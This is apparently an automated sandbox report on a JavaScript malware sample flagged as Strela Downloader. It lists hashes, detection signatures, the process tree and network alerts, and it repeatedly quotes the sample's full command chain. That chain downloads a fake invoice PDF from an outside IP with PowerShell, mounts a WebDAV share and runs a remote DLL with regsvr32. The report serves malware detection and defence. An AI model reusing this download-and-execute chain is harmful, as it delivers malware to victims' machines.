Edit tour

Windows Analysis Report
677073752851910183.js

Overview

General Information

Sample name:	677073752851910183.js
Analysis ID:	1588082
MD5:	5b7745ed4041456763f2fbd4a9a7fb3f
SHA1:	e94a1c2959e4926314d20152d46111f8f5c3043e
SHA256:	9bc370531b9d3a0e26bb3aae400fcda14a08123d36ca1032a37ad36337fb8e75
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 616 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6488 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6192 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 320 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2228 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7308 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,12401072531006071825,1432913878226022289,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5480 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3620 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7196 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 616	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6192, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6192, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", ProcessId: 616, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3620, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6488, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6488, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6488, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6488, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6488, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", ProcessId: 616, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6192, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5480, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3620, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7196, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5480, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3620, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 6488, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:09:25.147093+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:09:22.360340+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 677073752851910183.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 677073752851910183.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:09:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

